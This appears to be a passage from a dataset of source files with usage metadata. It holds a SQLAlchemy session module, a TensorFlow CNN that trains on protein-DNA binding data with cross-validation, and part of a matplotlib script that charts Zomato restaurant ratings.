"expedient.clearinghouse.roles.models.ProjectRole.objects.create", "line_number": 56, "usage_type": "call"}, {"api_name": "expedient.clearinghouse.roles.models.ProjectRole.objects", "line_number": 56, "usage_type": "attribute"}, {"api_name": "expedient.clearinghouse.roles.models.ProjectRole", "line_number": 56, "usage_type": "name"}, {"api_name": "expedient.clearinghouse.roles.models.ProjectRole.objects.create", "line_number": 61, "usage_type": "call"}, {"api_name": "expedient.clearinghouse.roles.models.ProjectRole.objects", "line_number": 61, "usage_type": "attribute"}, {"api_name": "expedient.clearinghouse.roles.models.ProjectRole", "line_number": 61, "usage_type": "name"}, {"api_name": "expedient.clearinghouse.roles.models.ProjectRole.objects.create", "line_number": 66, "usage_type": "call"}, {"api_name": "expedient.clearinghouse.roles.models.ProjectRole.objects", "line_number": 66, "usage_type": "attribute"}, {"api_name": "expedient.clearinghouse.roles.models.ProjectRole", "line_number": 66, "usage_type": "name"}, {"api_name": "expedient.common.permissions.shortcuts.create_permission", "line_number": 72, "usage_type": "call"}, {"api_name": "expedient.common.permissions.shortcuts.create_permission", "line_number": 73, "usage_type": "call"}, {"api_name": "expedient.common.permissions.shortcuts.create_permission", "line_number": 74, "usage_type": "call"}, {"api_name": "expedient.common.permissions.shortcuts.create_permission", "line_number": 75, "usage_type": "call"}, {"api_name": "expedient.common.permissions.models.ObjectPermission.objects.get_or_create_for_object_or_class", "line_number": 77, "usage_type": "call"}, {"api_name": "expedient.common.permissions.models.ObjectPermission.objects", "line_number": 77, "usage_type": "attribute"}, {"api_name": "expedient.common.permissions.models.ObjectPermission", "line_number": 77, "usage_type": "name"}, {"api_name": "expedient.common.permissions.models.ObjectPermission.objects.get_or_create_for_object_or_class", "line_number": 79, "usage_type": "call"}, {"api_name": "expedient.common.permissions.models.ObjectPermission.objects", "line_number": 79, "usage_type": "attribute"}, {"api_name": "expedient.common.permissions.models.ObjectPermission", "line_number": 79, "usage_type": "name"}, {"api_name": "expedient.common.permissions.models.ObjectPermission.objects.get_or_create_for_object_or_class", "line_number": 81, "usage_type": "call"}, {"api_name": "expedient.common.permissions.models.ObjectPermission.objects", "line_number": 81, "usage_type": "attribute"}, {"api_name": "expedient.common.permissions.models.ObjectPermission", "line_number": 81, "usage_type": "name"}, {"api_name": "expedient.common.permissions.models.ObjectPermission.objects.get_or_create_for_object_or_class", "line_number": 83, "usage_type": "call"}, {"api_name": "expedient.common.permissions.models.ObjectPermission.objects", "line_number": 83, "usage_type": "attribute"}, {"api_name": "expedient.common.permissions.models.ObjectPermission", "line_number": 83, "usage_type": "name"}, {"api_name": "expedient.clearinghouse.roles.models.ProjectRole.objects.create", "line_number": 86, "usage_type": "call"}, {"api_name": "expedient.clearinghouse.roles.models.ProjectRole.objects", "line_number": 86, "usage_type": "attribute"}, {"api_name": "expedient.clearinghouse.roles.models.ProjectRole", "line_number": 86, "usage_type": "name"}, {"api_name": "expedient.clearinghouse.roles.models.ProjectRole.objects.create", "line_number": 91, "usage_type": "call"}, {"api_name": "expedient.clearinghouse.roles.models.ProjectRole.objects", "line_number": 91, "usage_type": "attribute"}, {"api_name": "expedient.clearinghouse.roles.models.ProjectRole", "line_number": 91, "usage_type": "name"}, {"api_name": "expedient.clearinghouse.roles.models.ProjectRole.objects.create", "line_number": 96, "usage_type": "call"}, {"api_name": "expedient.clearinghouse.roles.models.ProjectRole.objects", "line_number": 96, "usage_type": "attribute"}, {"api_name": "expedient.clearinghouse.roles.models.ProjectRole", "line_number": 96, "usage_type": "name"}, {"api_name": "expedient.common.permissions.shortcuts.has_permission", "line_number": 105, "usage_type": "call"}, {"api_name": "expedient.common.permissions.exceptions.PermissionCannotBeDelegated", "line_number": 109, "usage_type": "argument"}, {"api_name": "expedient.common.permissions.shortcuts.has_permission", "line_number": 117, "usage_type": "call"}, {"api_name": "expedient.common.permissions.shortcuts.has_permission", "line_number": 124, "usage_type": "call"}, {"api_name": "expedient.common.permissions.shortcuts.has_permission", "line_number": 133, "usage_type": "call"}, {"api_name": "expedient.common.permissions.shortcuts.has_permission", "line_number": 136, "usage_type": "call"}, {"api_name": "expedient.common.permissions.shortcuts.has_permission", "line_number": 147, "usage_type": "call"}, {"api_name": "expedient.common.permissions.shortcuts.has_permission", "line_number": 148, "usage_type": "call"}, {"api_name": "expedient.common.permissions.shortcuts.has_permission", "line_number": 151, "usage_type": "call"}, {"api_name": "expedient.common.permissions.shortcuts.has_permission", "line_number": 152, "usage_type": "call"}, {"api_name": "expedient.common.permissions.shortcuts.has_permission", "line_number": 156, "usage_type": "call"}, {"api_name": "expedient.common.permissions.shortcuts.has_permission", "line_number": 157, "usage_type": "call"}, {"api_name": "expedient.common.permissions.shortcuts.has_permission", "line_number": 167, "usage_type": "call"}, {"api_name": "expedient.common.permissions.shortcuts.has_permission", "line_number": 168, "usage_type": "call"}, {"api_name": "expedient.common.permissions.shortcuts.has_permission", "line_number": 171, "usage_type": "call"}, {"api_name": "expedient.common.permissions.shortcuts.has_permission", "line_number": 172, "usage_type": "call"}, {"api_name": "expedient.common.permissions.shortcuts.has_permission", "line_number": 185, "usage_type": "call"}, {"api_name": "expedient.common.permissions.shortcuts.has_permission", "line_number": 186, "usage_type": "call"}, {"api_name": "expedient.common.permissions.shortcuts.has_permission", "line_number": 190, "usage_type": "call"}, {"api_name": "expedient.common.permissions.exceptions.PermissionCannotBeDelegated", "line_number": 192, "usage_type": "argument"}, {"api_name": "expedient.clearinghouse.roles.models.ProjectRole.objects.filter_for_can_delegate", "line_number": 201, "usage_type": "call"}, {"api_name": "expedient.clearinghouse.roles.models.ProjectRole.objects", "line_number": 201, "usage_type": "attribute"}, {"api_name": "expedient.clearinghouse.roles.models.ProjectRole", "line_number": 201, "usage_type": "name"}, {"api_name": "expedient.clearinghouse.roles.models.ProjectRole.objects.filter_for_can_delegate", "line_number": 217, "usage_type": "call"}, {"api_name": "expedient.clearinghouse.roles.models.ProjectRole.objects", "line_number": 217, "usage_type": "attribute"}, {"api_name": "expedient.clearinghouse.roles.models.ProjectRole", "line_number": 217, "usage_type": "name"}, {"api_name": "expedient.common.permissions.models.PermissionOwnership.objects.get_ownership", "line_number": 228, "usage_type": "call"}, {"api_name": "expedient.common.permissions.models.PermissionOwnership.objects", "line_number": 228, "usage_type": "attribute"}, {"api_name": "expedient.common.permissions.models.PermissionOwnership", "line_number": 228, "usage_type": "name"}, {"api_name": "expedient.clearinghouse.roles.models.ProjectRole.objects.filter_for_can_delegate", "line_number": 232, "usage_type": "call"}, {"api_name": "expedient.clearinghouse.roles.models.ProjectRole.objects", "line_number": 232, "usage_type": "attribute"}, {"api_name": "expedient.clearinghouse.roles.models.ProjectRole", "line_number": 232, "usage_type": "name"}, {"api_name": "expedient.common.permissions.shortcuts.has_permission", "line_number": 247, "usage_type": "call"}, {"api_name": "expedient.common.permissions.shortcuts.has_permission", "line_number": 248, "usage_type": "call"}, {"api_name": "expedient.common.permissions.shortcuts.has_permission", "line_number": 254, "usage_type": "call"}, {"api_name": "expedient.common.permissions.shortcuts.has_permission", "line_number": 255, "usage_type": "call"}, {"api_name": "expedient.common.permissions.shortcuts.has_permission", "line_number": 259, "usage_type": "call"}, {"api_name": "expedient.common.permissions.shortcuts.has_permission", "line_number": 260, "usage_type": "call"}, {"api_name": "expedient.clearinghouse.roles.models.ProjectRole.objects.filter_for_permission", "line_number": 267, "usage_type": "call"}, {"api_name": "expedient.clearinghouse.roles.models.ProjectRole.objects", "line_number": 267, "usage_type": "attribute"}, {"api_name": "expedient.clearinghouse.roles.models.ProjectRole", "line_number": 267, "usage_type": "name"}, {"api_name": "expedient.clearinghouse.roles.utils.get_users_for_role", "line_number": 278, "usage_type": "call"}, {"api_name": "expedient.clearinghouse.roles.utils.get_users_for_role", "line_number": 283, "usage_type": "call"}, {"api_name": "expedient.clearinghouse.roles.utils.get_users_for_role", "line_number": 287, "usage_type": "call"}, {"api_name": "expedient.clearinghouse.roles.utils.get_users_for_role", "line_number": 293, "usage_type": "call"}]}
{"seq_id": "16609573955", "text": "from sqlalchemy import create_engine\nfrom sqlalchemy.orm import sessionmaker\n\nfrom app.core.config import settings\n\n__HEROKU_POSTGRES_PREFIX = \"postgres://\"\n__SQL_ALCHEMY_POSTGRES_PREFIX_NEEDED = \"postgresql://\"\n\nDATABASE_URL = settings.DATABASE_URL\n\nif __HEROKU_POSTGRES_PREFIX in DATABASE_URL:\n    DATABASE_URL = DATABASE_URL.replace(__HEROKU_POSTGRES_PREFIX, __SQL_ALCHEMY_POSTGRES_PREFIX_NEEDED, 1)\n\nengine = create_engine(\n    DATABASE_URL,\n)\nSessionLocal = sessionmaker(autocommit=False, autoflush=False, bind=engine)\n", "repo_name": "Luciana123/ubademy-back-py", "sub_path": "app/db/session.py", "file_name": "session.py", "file_ext": "py", "file_size_in_byte": 524, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "github-code", "pt": "81", "api": [{"api_name": "app.core.config.settings.DATABASE_URL", "line_number": 9, "usage_type": "attribute"}, {"api_name": "app.core.config.settings", "line_number": 9, "usage_type": "name"}, {"api_name": "sqlalchemy.create_engine", "line_number": 14, "usage_type": "call"}, {"api_name": "sqlalchemy.orm.sessionmaker", "line_number": 17, "usage_type": "call"}]}
{"seq_id": "73355848586", "text": "#!/usr/bin/env python3\r\n# -*- coding: utf-8 -*-\r\n\"\"\"\r\nPDNA-迁移学习-逐个训练集传递\r\n\r\n\"\"\"\r\n\r\nimport scipy.io as sio\r\n#from sklearn.model_selection import LeaveOneOut\r\nfrom sklearn.model_selection import KFold\r\nimport tensorflow as tf\r\nimport numpy as np\r\nimport random\r\n\r\n\r\n\r\n#初始化权值\r\ndef weight_variable(shape):\r\n    initial = tf.truncated_normal(shape,stddev=0.1) #生成一个截断的正态分布\r\n    return tf.Variable(initial)\r\n\r\n#初始化偏置\r\ndef bias_variable(shape):\r\n    #initial = tf.truncated_normal(shape,stddev=0.1)\r\n    initia2 = tf.constant(0.1,shape=shape)\r\n    return tf.Variable(initia2)\r\n\r\n#卷积层\r\ndef conv2d(x,W):\r\n    #input tensor of shape [batch, in_height, in_width, in_channels]\r\n    #filter / kernel tensor of shape [filter_height, filter_width, in_channels, out_channels]\r\n    #strides[0]=strides[3]=1. strides[1]代表ｘ方向的步长，strids[2]代表ｙ方向的步长\r\n    #padding: A string from \"SAME\", \"VALID\"\r\n    return tf.nn.conv2d(x,W,strides=[1,1,1,1], padding='SAME')\r\n\r\n#池化层\r\ndef max_pool_2x2(x):\r\n    #ksize [1,x,y,1]\r\n    return tf.nn.max_pool(x,ksize=[1,2,2,1], strides=[1,2,2,1], padding='SAME')\r\n\r\ndef cnn(x_train,x_test,y_train,y_test,n_batch,is_train,num,a):\r\n     \r\n    N = len(x_train)\r\n    batch_size = N//n_batch\r\n    \r\n    #定义两个placeholder\r\n    x = tf.placeholder(tf.float32, [None, 460])#28*28\r\n    y = tf.placeholder(tf.float32, [None, 2])\r\n\r\n    #改变x的格式转为４Ｄ的向量【batch, in_height, in_width, in_channels]\r\n    x_image = tf.reshape(x,[-1, 23, 20 ,1])\r\n\r\n    #初始化第一个卷积层的权值和偏量\r\n    W_conv1 = weight_variable([5,5,1,32])#5*5的采样窗口，３２个卷积核从１个平面抽取特征\r\n    b_conv1 = bias_variable([32])#每一个卷积核一个偏置值\r\n\r\n    #把x_image和权值向量进行卷积，再加上偏置值，然后应用于relu激活函数\r\n    h_conv1 = tf.nn.relu(conv2d(x_image, W_conv1) + b_conv1)\r\n    h_pool1 = max_pool_2x2(h_conv1)#进行max-pooling\r\n\r\n    #初始化第二个卷积层的权值和偏置\r\n    W_conv2 = weight_variable([5,5,32,64]) #5*5的采样窗口，64个卷积核从32个平面抽取特征\r\n    b_conv2 = bias_variable([64]) #每一个卷积核一个偏置值\r\n\r\n    #把H_pool1和权值向量进行卷积，再加上偏置值，然后应用于relu激活函数\r\n    h_conv2 = tf.nn.relu(conv2d(h_pool1, W_conv2) + b_conv2)\r\n    h_pool2 = max_pool_2x2(h_conv2)\r\n\r\n    #23*20的图片第一次卷积后还是23*20,第一次池化后变为12*10\r\n    #第二次卷积后为12*10,第二次池化后变为6*5\r\n    #进过上面操作后得到64张6*5的平面\r\n\r\n    #初始化第一全链接层的权值\r\n    W_fc1 = weight_variable([6*5*64,1024]) #上一层有7*7*64个神经元,全连接层有1024个神经元\r\n    b_fc1 = bias_variable([1024])\r\n\r\n    #把池化层2的输出扁平化为1维\r\n    h_pool2_flat = tf.reshape(h_pool2,[-1,6*5*64])\r\n    #求第一个全连接层的输出\r\n    h_fc1 = tf.nn.relu(tf.matmul(h_pool2_flat, W_fc1) + b_fc1)\r\n\r\n    #keep_prob用了表示神经元的输出概率\r\n    keep_prob = tf.placeholder(tf.float32)\r\n    h_fc1_drop = tf.nn.dropout(h_fc1,keep_prob)\r\n\r\n    #初始化第二个全连接层\r\n    W_fc2 = weight_variable([1024,2])\r\n    b_fc2 = bias_variable([2])\r\n\r\n    #计算输出\r\n    prediction = tf.nn.softmax(tf.matmul(h_fc1_drop,W_fc2) + b_fc2)\r\n\r\n    #交叉熵代价函数\r\n    cross_entropy = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits(labels=y,logits=prediction))\r\n#     cross_entropy = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits(labels=y,logits=prediction))\\\r\n#     +tf.contrib.layers.l1_regularizer(0.0001)(W_fc2)\r\n    \r\n    #使用AdamOptimizer进行优化\r\n    train_step = tf.train.AdamOptimizer(1e-4).minimize(cross_entropy)\r\n    \r\n    \r\n    #结果存放在一个布尔列表中\r\n    correct_prediction = tf.equal(tf.argmax(prediction,1),tf.argmax(y,1))\r\n    #求准确率\r\n    accuracy = tf.reduce_mean(tf.cast(correct_prediction,tf.float32))\r\n\r\n    with tf.Session() as sess:\r\n        sess.run(tf.global_variables_initializer())\r\n        \r\n        info=\"模型第一次训练\"\r\n        saver=tf.train.Saver(max_to_keep=3)#保存模型 保存最新的模型\r\n        \r\n        if not is_train :  #判断是否为第一次训练，不是则加载最新的模型\r\n            \r\n           \r\n            ckpt = tf.train.get_checkpoint_state('one_hot_logs/')                          # 通过检查点文件锁定最新的模型\r\n            \r\n            print(ckpt.model_checkpoint_path)\r\n            saver1 = tf.train.import_meta_graph(ckpt.model_checkpoint_path +'.meta')   # 载入图结构，保存在.meta文件中\r\n            model_file=tf.train.latest_checkpoint('one_hot_logs/')\r\n            saver1.restore(sess,model_file)\r\n            info='加载最新的模型'\r\n            \r\n        print(info)\r\n        for epoch in range(50): \r\n            for batch in range(n_batch):\r\n                #训练模型\r\n\r\n                if (batch+1)*batch_size > N:\r\n                        batch_xs = x_train[batch*batch_size:N]\r\n                        batch_ys = y_train[batch*batch_size:N]\r\n                else:\r\n                        batch_xs = x_train[batch*batch_size:(batch+1)*batch_size]\r\n                        batch_ys = y_train[batch*batch_size:(batch+1)*batch_size]\r\n                        \r\n                #print(batch_ys[1:10])\r\n                #print(\"\")\r\n                sess.run(train_step,feed_dict={x:batch_xs,y:batch_ys,keep_prob:0.7})\r\n             \r\n            acc = sess.run(accuracy, feed_dict={x:x_test, y:y_test, keep_prob:1.0})\r\n            print(\"Iter \" + str(epoch) + \"，Testing Accuracy=\" + str(acc))\r\n            #print('循环'+str(epoch)+\"，Iter \" + str(i) + \"，Testing Accuracy=\" + str(acc))\r\n            \r\n            \r\n            \r\n            \r\n            \r\n        saver.save(sess,'one_hot_logs/onehot',global_step=num*5+a)  \r\n        sess.close()\r\n            \r\n\r\n            \r\n            \r\n            \r\n            \r\n#对数据进行5折交叉验证，并传递数据集序号\r\ndef KF(x,y,num):\r\n\r\n    X_t = x.reshape(len(x),-1)\r\n    Y_t = y.reshape(len(y),-1) \r\n    #print(X)\r\n    #loo = LeaveOneOut()\r\n    kf = KFold(n_splits=5)\r\n    kf.get_n_splits(X_t)\r\n    a=0\r\n    for train_index, test_index in kf.split(X_t):\r\n        X_train, X_test = X_t[train_index], X_t[test_index]\r\n        Y_train, Y_test = Y_t[train_index], Y_t[test_index]\r\n        print(\"len(X_train)={},len(X_test)={}\".format(len(X_train),len(X_test)))\r\n        if num==a==0:\r\n            is_train= True\r\n        else:\r\n            is_train= False\r\n            \r\n        cnn(X_train,X_test,Y_train,Y_test,200,is_train,num,a)\r\n        a+=1\r\n        \r\n\r\n        \r\n        print(\"\")\r\n        print(\"\")\r\n\r\n\r\n        \r\n\r\n\r\n#load benchmark dataset\r\nN_data = sio.loadmat('PDNA-224-ONEHOT-11-N.mat')\r\nP_data = sio.loadmat('PDNA-224-ONEHOT-11-P.mat')\r\nn_X = N_data['n_data']\r\nn_Y = N_data['n_target']\r\np_X = P_data['p_data']\r\np_Y = P_data['p_target']\r\n\r\n#随机打乱正样本数据并返回\r\nN_p = p_X.shape[0]\r\nprint(\"N_p \\t\",N_p)\r\nindx = list(range(N_p))\r\nrandom.shuffle(indx)\r\np_x=p_X[indx]\r\np_y=p_Y[indx]\r\n\r\n#随机打乱负样本数据并返回\r\nN_n = n_X.shape[0]\r\nprint(\"N_n \\t\",N_n)\r\nindx = list(range(N_n))\r\nrandom.shuffle(indx)\r\nn_x=n_X[indx]\r\nn_y=n_Y[indx]\r\n\r\n#处理训练集，正样本数量不变，在打乱的负样本中抽取3822个不放回，组成7600条数据为一组的训练集\r\nNN = len(n_x)\r\n#print(NN)\r\n#负样本批次大小\r\nN_size = 3822\r\n#计算负样本多少个批次 53570/3822=14.01\r\nNN_batch = NN // N_size\r\n#print(NN_batch)\r\n#得到14个数据集，正样本不变，负样本从'PDNA-224-ONEHOT-11-N.mat中抽出3822个不放回\r\n\r\nfor i in range(NN_batch):\r\n               \r\n        if (i+2)*N_size > NN: #  \r\n                X = np.vstack((n_X[i*N_size:NN],p_X))\r\n                Y = np.vstack((n_Y[i*N_size:NN],p_Y))\r\n        else:\r\n                X = np.vstack((n_X[i*N_size:(i+1)*N_size],p_X))\r\n                Y = np.vstack((n_Y[i*N_size:(i+1)*N_size],p_Y))\r\n                #print(i*N_size) \r\n        \r\n        #随机打乱数据，避免过拟合\r\n        N_X = X.shape[0]\r\n        print(\"N_X \\t\",N_X)\r\n        indx = list(range(N_X))\r\n        random.shuffle(indx)\r\n        X=X[indx]\r\n        Y=Y[indx]    \r\n        print(\"数据集%d\"%i,'长度\\t',len(X),len(Y))\r\n        \r\n        #对数据集进行五折交叉验证,并传递数据集序号\r\n        KF(X,Y,i)\r\n        \r\n        \r\n\r\n\r\n\r\n\r\n\r\n", "repo_name": "JciBio/BindingPro", "sub_path": "program/looPredict-onehot-迁移学习-7-17.py", "file_name": "looPredict-onehot-迁移学习-7-17.py", "file_ext": "py", "file_size_in_byte": 8538, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "tensorflow.truncated_normal", "line_number": 19, "usage_type": "call"}, {"api_name": "tensorflow.Variable", "line_number": 20, "usage_type": "call"}, {"api_name": "tensorflow.constant", "line_number": 25, "usage_type": "call"}, {"api_name": "tensorflow.Variable", "line_number": 26, "usage_type": "call"}, {"api_name": "tensorflow.nn.conv2d", "line_number": 34, "usage_type": "call"}, {"api_name": "tensorflow.nn", "line_number": 34, "usage_type": "attribute"}, {"api_name": "tensorflow.nn.max_pool", "line_number": 39, "usage_type": "call"}, {"api_name": "tensorflow.nn", "line_number": 39, "usage_type": "attribute"}, {"api_name": "tensorflow.placeholder", "line_number": 47, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 47, "usage_type": "attribute"}, {"api_name": "tensorflow.placeholder", "line_number": 48, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 48, "usage_type": "attribute"}, {"api_name": "tensorflow.reshape", "line_number": 51, "usage_type": "call"}, {"api_name": "tensorflow.nn.relu", "line_number": 58, "usage_type": "call"}, {"api_name": "tensorflow.nn", "line_number": 58, "usage_type": "attribute"}, {"api_name": "tensorflow.nn.relu", "line_number": 66, "usage_type": "call"}, {"api_name": "tensorflow.nn", "line_number": 66, "usage_type": "attribute"}, {"api_name": "tensorflow.reshape", "line_number": 78, "usage_type": "call"}, {"api_name": "tensorflow.nn.relu", "line_number": 80, "usage_type": "call"}, {"api_name": "tensorflow.nn", "line_number": 80, "usage_type": "attribute"}, {"api_name": "tensorflow.matmul", "line_number": 80, "usage_type": "call"}, {"api_name": "tensorflow.placeholder", "line_number": 83, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 83, "usage_type": "attribute"}, {"api_name": "tensorflow.nn.dropout", "line_number": 84, "usage_type": "call"}, {"api_name": "tensorflow.nn", "line_number": 84, "usage_type": "attribute"}, {"api_name": "tensorflow.nn.softmax", "line_number": 91, "usage_type": "call"}, {"api_name": "tensorflow.nn", "line_number": 91, "usage_type": "attribute"}, {"api_name": "tensorflow.matmul", "line_number": 91, "usage_type": "call"}, {"api_name": "tensorflow.reduce_mean", "line_number": 94, "usage_type": "call"}, {"api_name": "tensorflow.nn.softmax_cross_entropy_with_logits", "line_number": 94, "usage_type": "call"}, {"api_name": "tensorflow.nn", "line_number": 94, "usage_type": "attribute"}, {"api_name": "tensorflow.train.AdamOptimizer", "line_number": 99, "usage_type": "call"}, {"api_name": "tensorflow.train", "line_number": 99, "usage_type": "attribute"}, {"api_name": "tensorflow.equal", "line_number": 103, "usage_type": "call"}, {"api_name": "tensorflow.argmax", "line_number": 103, "usage_type": "call"}, {"api_name": "tensorflow.reduce_mean", "line_number": 105, "usage_type": "call"}, {"api_name": "tensorflow.cast", "line_number": 105, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 105, "usage_type": "attribute"}, {"api_name": "tensorflow.Session", "line_number": 107, "usage_type": "call"}, {"api_name": "tensorflow.global_variables_initializer", "line_number": 108, "usage_type": "call"}, {"api_name": "tensorflow.train.Saver", "line_number": 111, "usage_type": "call"}, {"api_name": "tensorflow.train", "line_number": 111, "usage_type": "attribute"}, {"api_name": "tensorflow.train.get_checkpoint_state", "line_number": 116, "usage_type": "call"}, {"api_name": "tensorflow.train", "line_number": 116, "usage_type": "attribute"}, {"api_name": "tensorflow.train.import_meta_graph", "line_number": 119, "usage_type": "call"}, {"api_name": "tensorflow.train", "line_number": 119, "usage_type": "attribute"}, {"api_name": "tensorflow.train.latest_checkpoint", "line_number": 120, "usage_type": "call"}, {"api_name": "tensorflow.train", "line_number": 120, "usage_type": "attribute"}, {"api_name": "sklearn.model_selection.KFold", "line_number": 163, "usage_type": "call"}, {"api_name": "scipy.io.loadmat", "line_number": 188, "usage_type": "call"}, {"api_name": "scipy.io", "line_number": 188, "usage_type": "name"}, {"api_name": "scipy.io.loadmat", "line_number": 189, "usage_type": "call"}, {"api_name": "scipy.io", "line_number": 189, "usage_type": "name"}, {"api_name": "random.shuffle", "line_number": 199, "usage_type": "call"}, {"api_name": "random.shuffle", "line_number": 207, "usage_type": "call"}, {"api_name": "numpy.vstack", "line_number": 224, "usage_type": "call"}, {"api_name": "numpy.vstack", "line_number": 225, "usage_type": "call"}, {"api_name": "numpy.vstack", "line_number": 227, "usage_type": "call"}, {"api_name": "numpy.vstack", "line_number": 228, "usage_type": "call"}, {"api_name": "random.shuffle", "line_number": 235, "usage_type": "call"}]}
{"seq_id": "43515182522", "text": "import matplotlib.pyplot as plt\nimport pandas as pd\nimport numpy as np\n\ndef column_nan_ratios(data):\n    ''' \n    Function takes in DataFrame and displays bar graph of percentage of NaNs per column\n    \n    Args:\n    -----\n    DataFrame \n    '''\n    nan_per_col_percentage=[]\n    nan_per_col_percentage = data.isnull().sum().values/data.shape[0]\n    col_names = data.columns\n    df = pd.DataFrame({'Percentage missing': nan_per_col_percentage}, index=col_names)\n    ax = df.plot.bar(rot=0,figsize=(20,4))\n    plt.xticks(rotation=90)\n    plt.title('Percentage missing in each column')\n    plt.xlabel('Column Name')\n    plt.ylabel('Percentage')\n    plt.grid(color='g', linestyle='-', linewidth=.5)\n    plt.show()\n\ndef bar_booktable(df):\n    '''\n    plots bar graph for counts of unique values in book table column\n    \n    '''\n    \n    book_table = df.groupby('book_table').count()['online_order']\n    #calculating rartio of yes/no for book tables\n    book_table = book_table/df.shape[0]\n    \n    #x,y for the text in the plot + the string for the output\n    y = book_table.get_values().tolist()\n    x = [x for x in range(len(y))]\n    #zipping x,y cordinates and string value for yes/no online book option\n    zip_x_y_str = zip(x,[y1 - .03 for y1 in y] ,y)\n    \n    df.groupby('book_table').count()\n    #ploting graph to show ratio of online order options \n    ax = book_table.plot(kind='bar', color=['palegreen','limegreen'], grid=True, title='Book Table Yes/No - count, percentage' )\n    ax.set_xlabel('Book Table Option on Zomato') \n    ax.set_ylabel('Percentage')\n    #print the text(ratio) on the bar\n    for x,y,s in zip_x_y_str:\n        #print(x,y,s)\n        #rounding the ratio to 3 decimal point\n        s = round(s,3)\n        #aligning text for the ratio on the bars\n        ax.text(x,y,str(s), horizontalalignment='center',verticalalignment='center')\n        \n\ndef bar_onlineorder(df):\n    '''\n    plots bar graph for counts of unique values in online order column\n    \n    '''\n    \n    online_order = df.groupby('online_order').count()['book_table']\n    #calculating the ratio of yes/no for online ordering\n    online_order = online_order/df.shape[0]\n    \n    #x,y for the text in the plot + the string for the output\n    y = online_order.get_values().tolist()\n    x = [x for x in range(len(y))]\n    #zipping x,y cordinates and string value for yes/no online delivery option\n    zip_x_y_str = zip(x,[y1 - .02 for y1 in y] ,y)\n    \n    ax = online_order.plot(kind='bar', color=['palegreen','limegreen'], grid=True, title='Online Order Yes/No - count, percentage' )\n    ax.set_xlabel('Online Delivery Options on Zomato') \n    ax.set_ylabel('Percentage')\n    #print the text(ratio) on the bar\n    for x,y,s in zip_x_y_str:\n        #print(x,y,s)\n        s = round(s,3)\n        ax.text(x,y,str(s), horizontalalignment='center',verticalalignment='center')\n        \ndef rating_curve(df):\n    '''\n    plots bar graph for counts of unique values in rate column\n    \n    '''\n    \n    #return the numerical value of ratings from string\n    rate = df.apply(lambda x: x.rate.replace(\" \",\"\") if type(x.rate) == str else x.rate, axis=1).value_counts().sort_index()\n    #Ratio of the ratings, total number of ratios = total number rows - sum of missing values)\n    rate = rate/(df.shape[0] - df['rate'].isnull().sum())\n    \n    #x,y position of the text(ratio) for the bar graph\n    y = rate.get_values().tolist()\n    x = [x for x in range(len(y))]\n    zip_x_y_str = zip(x,[y1 + .0008 for y1 in y] ,y)\n    \n    colors_list = ['grey'] + ['orangered'] + ['gold']*5  + ['yellow']*5 + ['yellowgreen']*5 + ['limegreen']*5 + ['green']*5 + ['darkgreen']*5 +['grey']\n    \n    fig, ax = plt.subplots(figsize=(20, 10))\n    ax = rate.plot(kind='bar', color=colors_list, grid=True, title='Distribution of Ratings' )\n    ax.set_xlabel('Ratings') \n    ax.set_ylabel('Percentage')\n    #text on bar plots\n    for x,y,s in zip_x_y_str:\n        #print(x,y,s)\n        s = round(s,3)\n        ax.text(x,y,str(s), horizontalalignment='center',verticalalignment='center')\n        \ndef rates_to_color_code(rating):\n    '''\n    returns color bin in string form \n    \n    '''\n    \n    #print(rating)\n    #print(type(rating))\n    if type(rating) == str and rating != '-' and rating != 'NEW':\n        #print(\"in if\")\n        rating = rating.replace(\" \",\"\").split('/')[0]\n        if float(rating) <= 5 and float(rating) >= 4.5:\n            return \"4.5-5 dark green\"\n        elif float(rating) < 4.5 and  float(rating) >=4:\n            return \"4.0-4.4 green\"\n        elif float(rating) < 4 and float(rating) >= 3.5:\n            return \"3.5-3.9 light green\"\n        elif float(rating) < 3.5 and float(rating) >= 3:\n            return \"3.0-3.4 green yellow\"\n        elif float(rating) < 3 and float(rating) >= 2.5:\n            return \"2.5-2.9 yellow\"\n        elif float(rating) < 2.5 and float(rating) >= 2:\n            return \"2.0-2.4 yellow orange\"\n        elif float(rating) < 2 and float(rating) >= 1.5:\n            return \"1.5-1.9 red orange\"\n        elif float(rating) <1.5 and float(rating) >= 1:\n            return \"1.0-1.4 red\"\n        \n    else:\n        return rating\n        \ndef color_bins(df):\n    '''\n    plots bar graph for different rating bins\n    \n    '''\n    \n    #ratios for the color bins\n    #rates_to_color_code function returns the color of the rating\n    rate_colors = df.apply(lambda x: rates_to_color_code(x.rate), axis=1).value_counts().sort_index()\n    rate_colors = rate_colors/df.shape[0]\n    \n    #x,y and string(ratio)\n    y = np.round(rate_colors.get_values(),4).tolist()\n    x = [x for x in range(len(y))]\n    zip_x_y_str = zip(x,[y1 + .008 for y1 in y] ,y)\n    \n    colors_list = ['grey','orangered','gold','yellow','yellowgreen','limegreen','green','darkgreen','grey']\n    fig, ax = plt.subplots(figsize=(10, 6))\n    ax = rate_colors.plot(kind='bar', color=colors_list, grid=True, title='Rating Color Category Bins' )\n    ax.set_xlabel('Rating Bins and color Category') \n    ax.set_ylabel('Percentage')\n    for x,y,s in zip_x_y_str:\n        #print(x,y,s)\n        s = round(s,4)\n        ax.text(x,y,str(s), horizontalalignment='center',verticalalignment='center')\n        \n        \n        \ndef listed_in_city(df):\n    '''\n    plots bar graph for counts with unique values in listed in city\n    \n    '''\n\n    location_count = df['listed_in(city)'].value_counts()\n            #print(\"30 Main Locations Listed on Zomato for quick searches:\"df['listed_in(city)'].value_counts().shape[0],df['listed_in(city)'].value_counts().keys())\n    fig, ax = plt.subplots(figsize=(7, 5))\n    ax.bar(location_count.keys()[:],location_count.values[:],color = 'green') \n    ax.grid(color='g', linestyle='-', linewidth=.5)\n    ax.set_xlabel('Locations') \n    ax.set_ylabel('Counts')\n    plt.title('Locations and Respective Restaurant Counts')\n    plt.xticks(rotation=90)\n    plt.show()\n    \ndef location(df):\n    '''\n    plots bar graph for counts with unique values in location column\n    \n    '''\n    \n    location_count = df['location'].value_counts()\n    print(\"Total 